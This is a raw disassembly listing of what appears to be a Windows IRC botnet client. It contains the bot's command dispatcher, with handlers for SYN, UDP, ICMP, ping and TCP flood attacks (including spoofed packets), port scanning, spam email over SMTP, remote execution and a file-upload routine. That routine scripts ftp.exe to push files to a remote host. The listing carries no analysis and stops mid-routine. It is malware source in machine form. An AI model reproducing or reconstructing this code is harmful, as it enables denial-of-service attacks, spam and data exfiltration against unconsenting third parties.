		push	offset aTsn	; "tsn"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D1E
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C50
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C50
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407BB3
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407BB3
		push	[ebp+arg_8]
		push	offset aUpdkt	; "updkt"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A37
		push	[ebp+arg_8]
		push	offset aUpdkt	; "updkt"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A37
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40799E
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40799E
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40794A
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40794A
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407850
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407850
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401F20
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407769
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407769
		push	[ebp+arg_8]
		push	offset aUsa_syn	; "usa.syn"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407671
		push	[ebp+arg_8]
		push	offset aUsa_ack	; "usa.ack"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407671
		push	[ebp+arg_8]
		push	offset aUsa_rm	; "usa.rm"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407671
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EEE
		push	7Fh
		lea	eax, [ebp+var_2978]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_418350
		push	esi
		lea	eax, [ebp+var_28F8]
		push	edi
		push	eax
		call	sub_418350
		push	esi
		lea	eax, [ebp+var_2878]
		push	[ebp+arg_0]
		push	eax
		call	sub_418350
		push	esi
		lea	eax, [ebp+var_27F8]
		push	[ebp+var_88]
		push	eax
		call	sub_418350
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2770],	eax
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	13h
		push	eax
		mov	[ebp+var_2774],	edi
		mov	[ebp+var_297C],	esi
		call	sub_40A130
		add	esp, 3Ch
		mov	[ebp+var_2778],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_297C]
		push	ebx
		push	eax
		push	offset sub_41346D
		push	ebx
		push	ebx
		call	dword_42407C	; CreateThread
		mov	ecx, [ebp+var_2778]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440E4C[ecx], eax
		jnz	short loc_405EE1
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42E69C
		jmp	loc_403847
; ---------------------------------------------------------------------------


loc_405ED9:				; CODE XREF: sub_401AA1+4446j
		push	32h
		call	dword_424078	; Sleep


loc_405EE1:				; CODE XREF: sub_401AA1+4425j
		cmp	[ebp+var_276C],	ebx
		jz	short loc_405ED9
		jmp	loc_403856
; ---------------------------------------------------------------------------


loc_405EEE:				; CODE XREF: sub_401AA1+437Bj
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40758A
		push	[ebp+arg_8]
		push	offset aSy1	; "sy1"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40758A
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40601A
		push	7Fh
		lea	eax, [ebp+var_2764]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_418350
		push	esi
		lea	eax, [ebp+var_26E4]
		push	edi
		push	eax
		call	sub_418350
		push	esi
		lea	eax, [ebp+var_2664]
		push	[ebp+arg_0]
		push	eax
		call	sub_418350
		push	esi
		lea	eax, [ebp+var_25E4]
		push	[ebp+var_88]
		push	eax
		call	sub_418350
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2560],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_255C],	eax
		lea	eax, [ebp+var_2C0]
		mov	[ebp+var_2768],	esi
		push	offset dword_42E654
		push	eax
		call	sub_4185E6
		add	esp, 44h
		lea	eax, [ebp+var_2C0]
		push	ebx
		push	10h
		push	eax
		call	sub_40A130
		add	esp, 0Ch
		mov	[ebp+var_2564],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2768]
		push	ebx
		push	eax
		push	offset sub_4123E8
		push	ebx
		push	ebx
		call	dword_42407C	; CreateThread
		mov	ecx, [ebp+var_2564]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440E4C[ecx], eax
		jnz	short loc_40600D
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42E618
		jmp	loc_40696E
; ---------------------------------------------------------------------------


loc_406005:				; CODE XREF: sub_401AA1+4572j
		push	32h
		call	dword_424078	; Sleep


loc_40600D:				; CODE XREF: sub_401AA1+4551j
		cmp	[ebp+var_2558],	ebx
		jz	short loc_406005
		jmp	loc_40697D
; ---------------------------------------------------------------------------


loc_40601A:				; CODE XREF: sub_401AA1+448Cj
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4074A3
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4074A3
		push	[ebp+arg_8]
		push	offset aKktt	; "kktt"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407369
		push	[ebp+arg_8]
		push	offset aKktt	; "kktt"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407369
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407270
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407270
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40717E
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40717E
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4070A1
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4070A1
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F87
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F87
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401F20
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E82
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E82
		push	[ebp+arg_8]
		push	offset aFofofo	; "fofofo"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4069AF
		push	[ebp+arg_8]
		push	offset aHjhg	; "hjhg"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4069AF
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406869
		push	[ebp+arg_8]
		push	offset aPu1	; "pu1"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406869
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406869
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40674D
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40674D
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406627
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406627
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406627
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406485
		push	[ebp+arg_8]
		push	offset aUsa	; "usa"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406485
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40642D
		push	[ebp+arg_10]
		lea	eax, [ebp+var_4150]
		push	eax
		call	sub_418C10
		push	edi
		call	sub_4184D9
		push	[ebp+arg_0]
		mov	[ebp+arg_10], eax
		lea	eax, [ebp+var_36E8]
		push	eax
		call	sub_418C10
		push	[ebp+arg_18]
		lea	eax, [ebp+var_35E8]
		push	eax
		call	sub_418C10
		push	offset asc_42FF7C ; " "
		push	offset dword_42ED84
		push	[ebp+esi+var_7C]
		call	sub_415512
		push	eax
		lea	eax, [ebp+var_34E8]
		push	eax
		call	sub_418C10
		add	esp, 30h
		lea	eax, [ebp+var_46E8]
		push	eax
		push	101h
		call	dword_4CDE60	; WSAStartup
		lea	eax, [ebp+var_4150]
		push	eax
		call	dword_4CDF64	; gethostbyname
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4CDF60	; socket
		push	[ebp+arg_10]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4CDEE4	; htons
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_34E8]
		push	eax
		lea	eax, [ebp+var_36E8]
		push	eax
		lea	eax, [ebp+var_34E8]
		push	eax
		lea	eax, [ebp+var_35E8]
		push	eax
		lea	eax, [ebp+var_36E8]
		push	eax
		lea	eax, [ebp+var_4AE8]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_4185E6
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4CDE90	; connect
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_37E8]
		push	edi
		push	eax
		push	esi
		call	dword_4CDEFC	; recv
		lea	eax, [ebp+var_37E8]
		push	ebx
		push	eax
		call	sub_417D40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_4AE8]
		push	eax
		push	esi
		call	dword_4CDF30	; send
		push	ebx
		lea	eax, [ebp+var_37E8]
		push	edi
		push	eax
		push	esi
		call	dword_4CDEFC	; recv
		push	esi
		call	dword_4CDF78	; closesocket
		call	dword_4CDE48	; WSACleanup
		lea	eax, [ebp+var_35E8]
		push	eax
		push	offset unk_42E4E8


loc_4063E6:				; CODE XREF: sub_401AA1+5D95j
					; sub_401AA1+60EEj ...
		lea	eax, [ebp+var_2C0]


loc_4063EC:				; CODE XREF: sub_401AA1+5F91j
		push	eax
		call	sub_4185E6


loc_4063F2:				; CODE XREF: sub_401AA1+1F9Ej
		add	esp, 0Ch


loc_4063F5:				; CODE XREF: sub_401AA1+3CCAj
					; sub_401AA1+3D22j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406416
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408BC1
		add	esp, 14h


loc_406416:				; CODE XREF: sub_401AA1+24FBj
					; sub_401AA1+2510j ...
		mov	esi, [ebp+arg_24]


loc_406419:				; CODE XREF: sub_401AA1+29A4j
					; sub_401AA1+6AC5j ...
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_413F3A
		pop	ecx
		mov	eax, esi
		jmp	loc_401F23
; ---------------------------------------------------------------------------


loc_40642D:				; CODE XREF: sub_401AA1+47EFj
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406457
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4069FF


loc_406457:				; CODE XREF: sub_401AA1+499Dj
		push	[ebp+esi+var_7C]
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		call	sub_4184D9
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40F634
		jmp	loc_4089AB
; ---------------------------------------------------------------------------


loc_406485:				; CODE XREF: sub_401AA1+47C1j
					; sub_401AA1+47D8j
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1100]
		push	esi
		push	eax
		call	sub_4186E0
		lea	eax, [ebp+var_1100]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_418DD0
		add	esp, 14h
		test	eax, eax
		jz	short loc_4064EA
		lea	eax, [ebp+var_1100]
		push	eax
		push	offset aAck	; "ack"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4064EA
		lea	eax, [ebp+var_1100]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4064EA
		push	offset unk_42E4A4
		jmp	loc_406614
; ---------------------------------------------------------------------------


loc_4064EA:				; CODE XREF: sub_401AA1+4A0Fj
					; sub_401AA1+4A26j ...
		push	[ebp+arg_18]
		call	sub_4184D9
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_FF8], eax
		jle	loc_40660F
		push	[ebp+arg_10]
		lea	eax, [ebp+var_1100]
		push	esi
		push	eax
		call	sub_4186E0
		push	edi
		lea	eax, [ebp+var_1180]
		push	esi
		push	eax
		call	sub_4186E0
		push	[ebp+arg_0]
		call	sub_4184D9
		mov	[ebp+var_FFC], eax
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1184],	eax
		lea	eax, [ebp+var_1080]
		push	esi
		push	eax
		call	sub_4186E0
		mov	eax, [ebp+var_4]
		add	esp, 28h
		cmp	[ebp+var_FF4], ebx
		mov	[ebp+var_FF0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_FEC], eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406581
		mov	eax, offset aNormal ; "Normal"


loc_406581:				; CODE XREF: sub_401AA1+4AD9j
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	eax
		push	offset unk_42E460
		lea	eax, [ebp+var_2C0]
		push	200h
		push	eax
		call	sub_4186E0
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	14h
		push	eax
		call	sub_40A130
		add	esp, 2Ch
		mov	[ebp+var_1000],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1184]
		push	ebx
		push	eax
		push	offset sub_412BE2
		push	ebx
		push	ebx
		call	dword_42407C	; CreateThread
		mov	ecx, [ebp+var_1000]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440E4C[ecx], eax
		jnz	short loc_406602
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42E428
		jmp	loc_404412
; ---------------------------------------------------------------------------


loc_4065FA:				; CODE XREF: sub_401AA1+4B67j
		push	32h
		call	dword_424078	; Sleep


loc_406602:				; CODE XREF: sub_401AA1+4B46j
		cmp	[ebp+var_FE8], ebx
		jz	short loc_4065FA
		jmp	loc_404421
; ---------------------------------------------------------------------------


loc_40660F:				; CODE XREF: sub_401AA1+4A5Aj
		push	offset unk_42E3F0


loc_406614:				; CODE XREF: sub_401AA1+1B15j
					; sub_401AA1+1B2Bj ...
		lea	eax, [ebp+var_2C0]


loc_40661A:				; CODE XREF: sub_401AA1+3C02j
		push	eax
		call	sub_4185E6
		pop	ecx
		pop	ecx
		jmp	loc_404421
; ---------------------------------------------------------------------------


loc_406627:				; CODE XREF: sub_401AA1+477Cj
					; sub_401AA1+4793j ...
		cmp	dword_4CDFCC, ebx
		jnz	loc_406732
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_DA0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_DA4], eax
		lea	eax, [ebp+var_E38]
		push	eax
		call	sub_418350
		push	edi
		call	sub_4184D9
		push	[ebp+arg_0]
		mov	[ebp+var_DB8], eax
		call	sub_4184D9
		push	[ebp+arg_18]
		mov	[ebp+var_DB4], eax
		call	sub_4184D9
		push	7Fh
		mov	[ebp+var_DB0], eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_EB8]
		push	eax
		call	sub_418350
		push	[ebp+var_DB0]
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_EBC], eax
		lea	eax, [ebp+var_E38]
		push	[ebp+var_DB4]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_DB8]
		push	offset unk_42E3A8
		push	eax
		call	sub_4185E6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	16h
		push	eax
		call	sub_40A130
		add	esp, 48h
		mov	[ebp+var_DA8], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EBC]
		push	ebx
		push	eax
		push	offset sub_412045
		push	ebx
		push	ebx
		call	dword_42407C	; CreateThread
		mov	ecx, [ebp+var_DA8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440E4C[ecx], eax
		jnz	short loc_406725
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42E36C
		jmp	loc_404412
; ---------------------------------------------------------------------------


loc_40671D:				; CODE XREF: sub_401AA1+4C8Aj
		push	32h
		call	dword_424078	; Sleep


loc_406725:				; CODE XREF: sub_401AA1+4C69j
		cmp	[ebp+var_D9C], ebx
		jz	short loc_40671D
		jmp	loc_404421
; ---------------------------------------------------------------------------


loc_406732:				; CODE XREF: sub_401AA1+4B8Cj
		push	1FFh
		lea	eax, [ebp+var_2C0]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_418350
		jmp	loc_40441E
; ---------------------------------------------------------------------------


loc_40674D:				; CODE XREF: sub_401AA1+474Ej
					; sub_401AA1+4765j
		push	edi
		lea	eax, [ebp+var_2C0]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	offset unk_42E318
		push	eax
		call	sub_4185E6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408BC1
		push	[ebp+arg_0]
		call	sub_417D40
		push	edi
		mov	[ebp+arg_20], eax
		call	sub_417D40
		mov	ecx, [ebp+arg_20]
		push	[ebp+arg_10]
		add	ecx, eax
		mov	[ebp+arg_20], ecx
		call	sub_417D40
		mov	ecx, [ebp+arg_20]
		push	[ebp+arg_8]
		add	ecx, eax
		mov	[ebp+arg_20], ecx
		call	sub_417D40
		add	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_20]
		push	[ebp+arg_18]
		lea	eax, [eax+ecx+7]
		push	eax
		call	sub_418660
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_4184D9
		mov	edi, [ebp+arg_1C]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_20], ebx
		jle	short loc_406855


loc_4067DE:				; CODE XREF: sub_401AA1+4D61j
		push	[ebp+arg_C]
		push	edi
		push	[ebp+arg_10]
		call	sub_415CED
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_1C], eax
		jz	short loc_406806
		cmp	eax, ebx
		jnz	short loc_406825
		inc	[ebp+arg_20]
		mov	eax, [ebp+arg_20]
		cmp	eax, [ebp+arg_14]
		jl	short loc_4067DE
		jmp	short loc_40685E
; ---------------------------------------------------------------------------


loc_406806:				; CODE XREF: sub_401AA1+4D52j
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42E2E0


loc_40680F:				; CODE XREF: sub_401AA1+4DC6j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408BC1
		add	esp, 14h
		jmp	loc_4069FF
; ---------------------------------------------------------------------------


loc_406825:				; CODE XREF: sub_401AA1+4D56j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C0]
		push	offset unk_42E2AC
		push	eax
		call	sub_4185E6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408BC1
		add	esp, 20h


loc_406855:				; CODE XREF: sub_401AA1+4D3Bj
		cmp	[ebp+arg_1C], ebx
		jnz	loc_4069FF


loc_40685E:				; CODE XREF: sub_401AA1+4D63j
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42E278
		jmp	short loc_40680F
; ---------------------------------------------------------------------------


loc_406869:				; CODE XREF: sub_401AA1+4709j
					; sub_401AA1+4720j ...
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_B38], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		lea	eax, [ebp+var_BD0]
		push	eax
		call	sub_418350
		push	edi
		call	sub_4184D9
		push	[ebp+arg_0]
		mov	[ebp+var_B50], eax
		call	sub_4184D9
		push	[ebp+arg_18]
		mov	[ebp+var_B4C], eax
		call	sub_4184D9
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_B48], eax
		jz	short loc_4068CE
		push	esi
		call	sub_4184D9
		pop	ecx
		mov	[ebp+var_B44], eax
		jmp	short loc_4068D4
; ---------------------------------------------------------------------------


loc_4068CE:				; CODE XREF: sub_401AA1+4E1Cj
		mov	[ebp+var_B44], ebx


loc_4068D4:				; CODE XREF: sub_401AA1+4E2Bj
		push	7Fh
		lea	eax, [ebp+var_C50]
		push	[ebp+var_88]
		push	eax
		call	sub_418350
		push	[ebp+var_B48]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_BD0]
		mov	[ebp+var_C54], esi
		push	[ebp+var_B4C]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_B50]
		push	offset unk_42E230
		push	eax
		call	sub_4185E6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	17h
		push	eax
		call	sub_40A130
		add	esp, 30h
		mov	[ebp+var_B40], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C54]
		push	ebx
		push	eax
		push	offset sub_4121D1
		push	ebx
		push	ebx
		call	dword_42407C	; CreateThread
		mov	ecx, [ebp+var_B40]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440E4C[ecx], eax
		jnz	short loc_4069A5
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42E1F8


loc_40696E:				; CODE XREF: sub_401AA1+455Fj
					; sub_401AA1+59E8j ...
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4185E6
		add	esp, 0Ch


loc_40697D:				; CODE XREF: sub_401AA1+4574j
					; sub_401AA1+4F0Cj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_404442
		push	ebx
		push	[ebp+var_4]


loc_40698A:				; CODE XREF: sub_401AA1+1DC0j
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_40443A
; ---------------------------------------------------------------------------


loc_40699D:				; CODE XREF: sub_401AA1+4F0Aj
		push	32h
		call	dword_424078	; Sleep


loc_4069A5:				; CODE XREF: sub_401AA1+4EBFj
		cmp	[ebp+var_B34], ebx
		jz	short loc_40699D
		jmp	short loc_40697D
; ---------------------------------------------------------------------------


loc_4069AF:				; CODE XREF: sub_401AA1+46DBj
					; sub_401AA1+46F2j
		push	0Bh
		call	sub_40A372
		push	edi
		mov	[ebp+arg_1C], eax
		call	sub_4184D9
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 1F4h
		jle	loc_406B78
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C0]
		push	offset unk_42E1B8
		push	eax
		call	sub_4185E6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408BC1
		add	esp, 20h


loc_4069FF:				; CODE XREF: sub_401AA1+49B0j
					; sub_401AA1+4D7Fj ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401F20
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4089AE
		push	4
		push	esi
		call	sub_4147F5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406A4A
		push	esi
		push	offset unk_42E198


loc_406A36:				; CODE XREF: sub_401AA1+6D13j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4185E6
		add	esp, 0Ch
		jmp	loc_403AC7
; ---------------------------------------------------------------------------


loc_406A4A:				; CODE XREF: sub_401AA1+4F8Dj
		call	dword_4240A8	; GetTickCount
		push	eax
		call	sub_418638
		pop	ecx
		call	sub_418642
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_418642
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_418642
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_4558]
		push	edx
		push	eax
		lea	eax, [ebp+var_22B0]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_22B0]
		push	offset aAb	; "ab"
		push	eax
		call	sub_418222
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401F20
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_418B66
		push	[ebp+arg_24]
		call	sub_417DBB
		lea	eax, [ebp+var_22B0]
		push	eax
		lea	eax, [ebp+var_4350]
		push	offset aSS_3	; "-s:%s"
		push	eax
		call	sub_4185E6
		add	esp, 2Ch
		lea	eax, [ebp+var_4350]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CDE5C
		push	[ebp+arg_10]
		test	eax, eax
		push	esi
		jz	short loc_406B16
		push	offset unk_42E128
		jmp	short loc_406B1B
; ---------------------------------------------------------------------------


loc_406B16:				; CODE XREF: sub_401AA1+506Cj
		push	offset unk_42E0F8


loc_406B1B:				; CODE XREF: sub_401AA1+5073j
